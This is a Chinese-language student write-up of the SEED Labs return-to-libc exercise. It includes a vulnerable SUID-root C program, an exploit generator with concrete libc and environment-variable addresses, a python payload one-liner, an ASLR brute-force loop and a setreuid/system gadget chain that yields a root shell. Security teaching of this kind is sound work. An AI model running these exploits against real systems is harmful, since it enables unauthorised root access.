Return-to-libc Attack
學習目標是獲得關於緩沖區攻擊的有趣變種的一手體驗;此攻擊可以繞過當前在主要Linux操作系統中實現的現有保護方案。利用緩沖區過度漏洞的常見方法是使用惡意shellcode將緩沖區過度流動,然后導致易受攻擊的程序跳轉到存儲在堆棧中的shellcode。為防止這些類型的攻擊,一些操作系統允許系統管理員使堆棧不可執行;因此,跳轉到shellcode會導致程序失敗。
然而,上述保護方案不是傻瓜;存在一個被稱為返回libc攻擊的緩沖區過度攻擊的變體,這不需要可執行堆棧;它甚至沒有使用shell代碼。相反,它導致易受偵聽的程序跳轉到一些現有的代碼,例如libc庫中的system()
函數,這些代碼已被加載到存儲器中。
本文作者:對酒當歌、zmzzmqa
代碼倉庫:https://github.com/SKPrimin/HomeWork/tree/main/SEEDLabs/Return_to_libc
Pre
1、網上搜索並且閱讀Four different tricks to bypass StackShield and StackGuard protection這篇文章,描述這些現有保護機制的弱點。
標准的 C 語言代碼能使攻擊者執行許多不同種類的攻擊,包括: 標 准的基於棧的緩沖區溢出,使得返回地址被修改; 幀指針重寫,使得 幀指針被修改; 局部變量或者函數參數被修改以改變程序的內部狀態。
StackGuard 的保護機制只保護返回地址,不保護中間的變量和棧指針。有三個缺陷: 位於緩沖區后的局部變量並沒 有被保護; 老的幀指針和函數參數會受到攻擊者的控制; StackGuard 的檢查只會在函數返回后檢測到攻擊,給攻擊者一個代碼窗口。
StackShield: 只能阻止了基於標准堆棧的緩沖區溢出攻擊,如果我們設法改變備份的返回地址的內容,保護就無效了
Microsoft’s /GS protection 如果金絲雀的隨機性良好,這將有效地阻止攻擊。另一方面,如果可以預測金絲雀,不僅可以實現攻擊,而且 還可以使用標准的返回地址覆蓋攻擊。
在標准編譯的 C 代碼中,當不使用-fomit-frame-pointer 時,相對於幀指針訪問局部變量,如果我們控制它,我們可以控制調用者的局部變量和參數。
2、閱讀下面這篇文章:
Bypassing non-executable-stack during exploitation using return-to-libc.
http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf
讓棧變得不可執行看起來能有效抵御緩沖區溢出攻擊,因為它消 除了攻擊的一個重要條件。然而這個條件不是必需的。成功的緩沖區 溢出攻擊需要運行惡意代碼,但這些代碼不一定非要在棧中,攻擊者 可以借助內存中已有的代碼進行攻擊,比如 libc 庫中的
system()
函數等。
3、閱讀這個鏈接的第3章,解釋怎樣構造 return2libc 的訪問鏈 http://www.phrack.org/issues.html?issue=58&id=4
有兩個方法可以構造訪問鏈:
"esp lifting" method :
假設 f1 和 f2 是庫中兩個函數的返回地址,漏洞函數返回到f1 ,而f1 返回到后記: addl $LOCAL_VARS_SIZE,%esp ret。前一條指令會讓 棧指針指向 f2 返回地址存儲的位置。而后一條指令會返回到f2。
frame faking
fake_ebp0 是第一幀的地址,fake_ebp1 是第二幀的地址,以此類推。
首先: 漏洞函數的后記(即: leave;ret)把 fake_ebp0 放入%ebp 並 返回到 leaveret。
其次: 接下來的兩條指令(leave;ret)把 fake_ebp1 放入%ebp 並返回 到f1 ,f1 看做是合適的參數。
f1 運行,然后返回。重復前兩步,並把 f1 用 f2 ,f3...fn 代替。
4、閱讀這個鏈接 https://bbs.pediy.com/thread-224643.htm
文章主要講了如何繞過 canary。題目的難點在於 canary。一般的 思路是先 leak 出 canary 的 cookie,然后在 payload 里,把原來的 canary 位置的 cookie 用我們 leak 出的正確的 cookie 寫入,之后就是正常的 rop 。不過這題,有個 fork ,對 fork 而言,作用相當於自我復制,每 一次復制出來的程序,內存布局都是一樣的,當然 canary 值也一樣。
那我們就可以逐位爆破,如果程序掛了就說明這一位不對,如果程 序正常就可以接着跑下一位,直到跑出正確的 canary 。這是個 32 位 的程序,所以 canary 有 4 個字節,最低位一定是\x00,所以只需要爆 破三個字節即可。構造爆破 payload 格式為:
padding+canary+chr(i)
5、認真觀看,P4 Return-to-libc Attack Lecture
https://www.bilibili.com/video/BV1v4411S7mv
大概說下視頻的內容。
為了抵御緩沖區溢出,操作系統采用了一種成為“不可執行棧” 的防御措施,它將程序的棧標記位不可執行,這樣即使攻擊者能夠注 入惡意代碼到棧中,代碼也無法被執行。然而,這種防御措施能被另 一種無須在棧中運行代碼的攻擊方法繞過 。這種方法就叫做return-to-libc 攻擊。
攻擊者借助內存中已有的代碼進行攻擊。Linux 會將 libc 庫加載 到內存中,其中的 system()函數就可以被攻擊者利用。這個函數接收 一個字符串作為參數,將此字符串作為一個命令來執行。有了這個函 數,如果想要在緩沖區溢出后運行一個 shell,無須自己編寫 shellcode, 只需要跳轉到 system()函數,讓它來運行指定的”/bin/sh”程序即可。
Lab
指南:了解函數調用機制
1找出libc函數的地址
要使用任何libc函數的地址,您可以使用以下GDB命令(a.out是任意程序):
$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0x9b4550 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x9a9b70 <exit>
從上面的GDB命令中,我們可以確定system()
函數的地址為0x9b4550,並且exit()
函數的地址為0x9a9b70。 系統中的實際地址可能與這些數字不同。
2將shell字符串放在內存中
該實驗室中的一個挑戰是將字符串“/ bin / sh”放入內存中,並獲得其地址。 這可以使用環境變量來實現。 執行C程序時,它會從執行它的shell中繼承所有環境變量。 環境變量shell直接到/ bin / bash,是由其他程序需要的,因此我們介紹一個新的shell變量myshell並使其指向zsh
$ export MYSHELL=/bin/sh
我們將使用此變量的地址作為system()
調用的參數。 可以使用以下程序輕松找到存儲器中此變量的位置:
void main(){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
}
如果關閉地址隨機化,則將您將打印出相同的地址。 但是,當您運行漏洞程序retlib
時,環境變量的地址可能與運行上述程序的內容完全相同;在更改程序的名稱時,這種地址甚至可以更改(文件名稱中的字符數為差異)。 好消息是,shell 的地址將非常接近使用上述程序打印出的內容。 因此,您可能需要嘗試幾次成功。
3了解堆棧
要知道如何進行返回libc攻擊,必須了解堆棧的工作原理。 我們用一個小的C程序來了解堆棧上函數調用的影響。
/*foobar.c */
#include <stdio.h>
void foo(int x)
{
printf("Hello world: %d\n", x);
}
int main()
{
foo(1);
return 0;
}
我們可以使用"gcc -S foobar.c
"將此程序編譯為匯編代碼。 生成的文件 foobar.s 將如下所示:
......
8 foo:
9 pushl %ebp
10 movl %esp, %ebp
11 subl $8, %esp
12 movl 8(%ebp), %eax
13 movl %eax, 4(%esp)
14 movl $.LC0, (%esp) : string "Hello world: %d\n"
15 call printf
16 leave
17 ret ......
21 main:
22 leal 4(%esp), %ecx
23 andl $-16, %esp
24 pushl -4(%ecx)
25 pushl %ebp
26 movl %esp, %ebp
27 pushl %ecx
28 subl $4, %esp
29 movl $1, (%esp)
30 call foo
31 movl $0, %eax
32 addl $4, %esp
33 popl %ecx
34 popl %ebp
35 leal -4(%ecx), %esp
36 ret
調用和輸入foo()
在調用foo()時,讓我們把注意力集中在堆棧上。我們可以忽略之前的堆棧。請注意,本解釋中使用的是行號而不是指令地址。
-
第28-29行:這兩個語句將值l,即foo()的參數,推入堆棧。此操作將%esp加4。這兩個語句之后的堆棧如圖1(a)所示。
-
第30行:
call foo
:該語句將緊跟在調用語句后面的下一條指令的地址推送到堆棧中(即返回地址),然后跳轉到foo()的代碼。當前堆棧如圖1(b)所示。 -
第9-10行:函數foo()的第一行將%ebp壓入堆棧,以保存之前的幀指針。第二行讓%ebp指向當前幀。中描述了當前堆棧圖1 (c)。
-
第11行:
subl $8, %esp
:堆棧指針被修改為分配空間(8字節)給局部變量和傳遞給printf的兩個參數。因為foo函數中沒有局部變量,所以這8個字節只用於參數。見圖1 (d)。
離開foo ()
現在控件已經傳遞給函數foo()。讓我們看看當函數返回時堆棧發生了什么。
- 第16行:leave:這條指令隱式地執行兩條指令(在早期x86版本中它是一個宏,但后來被變成了一條指令):
mov %ebp, %esp
pop %ebp
第一個語句釋放為函數分配的堆棧空間;第二個語句恢復前一個幀指針。當前堆棧如圖1(e)所示。
-
第17行:ret:這條指令只是將返回地址從堆棧中彈出,然后跳轉到返回地址。當前堆棧如圖1(f)所示。
-
第32行:addl $4, %esp:通過釋放更多為foo分配的內存來進一步恢復堆棧。可以清楚地看到,堆棧現在的狀態與進入函數foo之前的狀態完全相同(即第28行之前)。
實驗室任務
初始設置
您可以使用預構建的Ubuntu虛擬機執行實驗室任務。 Ubuntu和其他Linux發行版已經實施了幾種安全機制,以使緩沖過度攻擊困難。 為了簡單的攻擊,我們需要禁用它們。
地址空間隨機化。 Ubuntu和其他幾個基於Linux的系統使用地址空間進行了統籌,以隨機化堆和堆棧的起始地址。 這使得猜測確切的解決困難; 猜測地址是緩沖區攻擊的關鍵步驟之一。 在此實驗室中,我們使用以下命令禁用這些功能:
$ su root Password: (enter root password) # sysctl -w kernel.randomize_va_space=0
堆棧防護方案。 GCC編譯器實現了一種稱為“堆棧保護”的安全機制,以防止緩沖區過度。 在存在這種保護的情況下,緩沖在流量上不起作用。 如果使用-fno-stack-protector switch編譯程序,則可以禁用此保護。 例如,要使用堆疊防護禁用編譯程序示例,您可以使用以下命令:
$ gcc -fno-stack-protector example.c
不可執行的堆棧。 Ubuntu用於允許可執行的堆棧,但現在已更改:程序(和共享庫)的二進制圖像必須聲明它們是否需要可執行堆棧,即,它們需要在程序標題中標記FI eld。 內核或動態鏈接器使用此標記來決定是否使該運行程序的堆棧可執行或不可執行。 此標記由最近的GCC版本自動完成,默認情況下,堆棧設置為不可執行。 要更改此,請在編譯程序時使用以下命令:
For executable stack: $ gcc -z execstack -o test test.c For non-executable stack: $ gcc -z noexecstack -o test test.c
由於此實驗室的目的是表明不可執行的堆棧保護不起作用,因此您應該始終使用此實驗室中的“
-z noexecstack
”選項編譯程序。
retlib.c文件
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
關閉 ASLR,打開棧不可執行關閉棧保護,編譯 retlib.c程序並賦予 SUID 權限
su root
sysctl -w kernel.randomize_va_space=0
gcc retlib.c -o retlib -fno-stack-protector
chown root retlib
chmod 4755 retlib
任務1:利用漏洞
創建badfile
。您可以使用下面的框架來創建一個。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *)&buf[X] = some address; // "/bin/sh"
*(long *)&buf[Y] = some address; // system()
*(long *)&buf[Z] = some address; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
您需要找出這些地址的值,並找出存儲這些地址的位置。如果錯誤地計算了位置,則攻擊可能無法正常工作。
完成上述程序后,編譯並運行它;這將生成"badefile"的內容。運行易受攻擊的程序 retlib。如果您的漏洞被正確實現,當函數 bof 返回時,它將返回到system()
libc 函數,並執行system("/bin/sh")
。如果易受攻擊的程序以 root 權限運行,則此時您可以獲取root shell
。
原理為,通過溢出修改返回地址使程序跳轉到動態鏈接庫中運行,動態鏈接庫里有可以利用的函數例如system。只要讓system函數運行參數/bin/sh就能獲得shell。實現這個目標需要達成這三件事情。
- 找到system函數地址
- 找到字符串“/bin/sh”地址。
- system函數參數應該放在棧的什么位置。
system函數地址可以通過gdb調試得到。字符串地址,可以放在緩沖區中,然后獲得它的地址。或者放在環境變量,因為目標程序清理了環境變量,所以第二種不行。因為目標函數中有‘/bin/sh’字符串定義在bof函數中,可以通過查找該字符串地址得到。
1. system&exit函數地址
gdb調試,直接r
運行進程,使用p func
命令得到system地址,同理可得到exit地址
gdb retlib
b main
r
p system
p exit
system地址為0xb7e5f430
,exit地址為 : 0xb7e52fb0
2.字符串“/bin/sh”地址。
將字符串壓入棧中
export ATT="/bin/sh"
使用同一目錄下名稱長度相同的程序env666
查看環境變量位置。
#include <stdio.h>
int main(void)
{
printf("%x",getenv("ATT"));
}
編譯該程序,要注意的是編譯得到的二進制代碼的文件名長度要和目標程序 retlib
一樣長,否則在運行兩個程序時,環境變量的地址將不同,就無法得到想要的結果。
gcc env666.c -o env666
./env666
得到地址為bfffffd0
如果長度不相同,可見得到的地址是不同的,顯示是無法得到root shell
。
3.system函數參數應該放在棧的什么位置。
先創建badfile 並向其中寫入“aaaa”標記 buf 前四個字節。
先在badfile中填滿字符U,U的ascii碼為55。
touch badfile
echo "aaaa" >badfile
或
echo $(python -c print"'a'*4") > badfile
gdb 調試 retlib,反匯編 main 函數
gdb retlib
disas main
可找到 bof 的返回地址為 0x080484e2
。再對 bof 函數反匯編。
可找到 bof 函數的結束地址為 0x080484b1
。
在此處設置斷點,運行到斷點處,用 x 命令查看內存內容。
b*0x080484b1
r
x/50xw $esp
可算出 bof 函數返回地址距離 buf 首地址 \(4\times6=24\) 字節。因此我們要在 buf[24]處寫入system()
函數的地址,在 buf[28]處寫入 exit()
函數的地址,在 buf[32]處寫入 system()
函數的參數“/bin/sh
”的地址。
Badfile
經過以上分析,我們可以得到以下 exploit.c 程序:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *)&buf[24] = 0xb7e5f430; // system()
*(long *)&buf[28] = 0xb7e52fb0; // exit()
*(long *)&buf[32] = 0xbfffffd0; // "/bin/sh"
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
應該指出的是,exit()
函數對於此攻擊不是很必要; 但是,如果沒有此功能,當system()
返回時,程序可能會崩潰,導致懷疑。
$ gcc -o exploit exploit.c
$./exploit
$./retlib
// create the badfile
// launch the attack by running the vulnerable program
# <---- You’ve got a root shell!
如果你有豐富的python或其他腳本語言經驗,也可以不使用給的模板,直接送進字符串
echo $(python -c "print 'U'*24 +'\x30\xf4\xe5\xb7'+'\xb0\x2f\xe5\xb7'+'\xd0\xff\xff\xbf'")>badfile
./retlib
攻擊成功后,將retlib 的文件名更改為不同的名稱,確保FILE名稱的長度不同。 例如,您可以將其更改為newretlib。 重復攻擊(不改變Badfile的內容)。 你的攻擊是否成功了?
gcc retlib.c -o newretlib -fno-stack-protector
chown root newretlib
chmod 4755 newretlib
./newretlib
發現攻擊失敗。這是因為環境變量的地址和程序名的長度有關,當把retlib 改成 newretlib 時,由於文件名長度的改變從 env666 獲得的環境變量的地址不在是“/bin/sh”字符串的地址。此時所有環境變量的內存地址移動了 6 個字節,因此該地址現在指向“h”開始的地方。 所以會顯示 h 未找到。
任務2:地址隨機化
在這項任務中,讓我們打開Ubuntu的地址隨機化保護。 我們運行了任務中開發的相同攻擊1.你能得到一個殼嗎? 如果沒有,問題是什么? 地址隨機化如何使您的返回libc攻擊困難?您可以使用以下說明打開地址隨機化:
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
通過gdb查看幾次運行各地址變化
system地址 | 字符sh地址 | 差值 |
---|---|---|
0xb75c9430 | 0xbfdd5fd0 | 880 CBA0 |
0xb75cc430 | 0xbf97efd0 | 83B 2BA0 |
0xb763c430 | 0xbfc93fd0 | 865 7BA0 |
可以看出system地址中間兩個十六進制數在隨機,而字符地址是中間三個隨機,所以兩者差值也在隨機,概率極低。
嘗試使用腳本強攻
sh -c "while [ 1 ]; do ./retlib; done;"
執行了一段時間后還沒有攻擊成功,這是因為開了地址隨機化后要猜中地址是很困難的。但理論上還是能機會成功的
任務3:堆疊保護保護
在這項任務中,讓我們打開Ubuntu的堆棧保護保護。 請記得關閉地址隨機化保護。 我們運行了任務中開發的相同攻擊1。你能得到一個shell嗎? 如果沒有,問題是什么? 堆疊保護保護如何使您的返回Libc攻擊困難? 您可以使用以下說明使用堆棧防護防護進行編譯程序。
$ su root
Password (enter root password)
# gcc -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit
打開棧保護
sudo gcc -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
無法更改返回地址和棧幀
補充任務–學號DLC
使用return-to-lib調用鏈。
- system(“echo A66666666”);
- setreuid(0,0);
- system(“/bin/sh”);
- exit(0)
重編譯
修改retlib.c
12行,將40改為400或其它適量大小,否則內存不足。
首先關閉地址隨機化,重新編譯
sudo sysctl -w kernel.randomize_va_space=0
sudo gcc retlib.c -o retlib -fno-stack-protector
sudo chown root retlib
sudo chmod 4755 retlib
導入變量
將字符串放入環境變量。
export MYID="echo A66666666"
export MYSHELL="/bin/sh"
按照之前方法找出程序運行時字符串位置。
system函數位置和exit函數位置已知,使用同樣方法獲得setreuid函數位置。
找出變量地址
gdb 調試 retlib,查看函數的地址
gdb retlib
b main
r
p system
p setreuid
p exit
gcc envaddr.c -o env662
./env662
至此五函數地址已找到:
- system
0xb7e5f430
- setreuid
0xb7f07870
- exit
0xb7e52fb0
- echo A66666666
bfffffc9
- /bin/sh
bfffffbc
構建badfile
使用命令反匯編,肉眼尋找 pop-ret 或 pop-pop-ret
objdump -d retlib
或者使用管道符快速找到可利用片段。
objdump -d retlib|grep -B 3 ret
我們使用80485b7-80485b8-80485b9
作為載體
由 task1 我們知道,bof 函數的返回地址在 buf[24],於是開始修改:
- buf[24]改成 system()函數的地址:0xb7e5f430
- buf[28]改成 pop-ret 的地址:0x80485b8(因為 system()只有一個參數,所以只需要一個 pop 將棧指針抬一次)
- buf[32]改成存放 system()的參數“echo A66666666”的環境變量的地址:bfffffc9
- buf[36]改成 setreuid()的地址:0xb7f07870
- buf[40]改成 pop-pop-ret 的地址:0x80485b7(因為 setreuid()有兩個參數,所以需要兩個 pop 將棧指針抬兩次)
- buf[44]和 buf[48]都改成 setreuid()的參數 0 的地址:0x00000000
- buf[52]改成 system()函數的地址:0xb7e5f430
- buf[56]改成 pop-ret 的地址:0x80485b8
- buf[60]改成存放 system()的參數“/bin/sh”的環境變量的地址: bfffffbc
- buf[64]改成 exit()函數的地址:0xb7e52fb0
如果你看到的是這個界面,那么很明顯是空間不夠用,retlib.c第12行改為 fread(buffer, sizeof(char), 400, badfile);
或者其它適量大小
使用exploit2.c寫入badfile
gcc exploit2.c -o exploit2
./exploit2
./retlib
攻擊成功!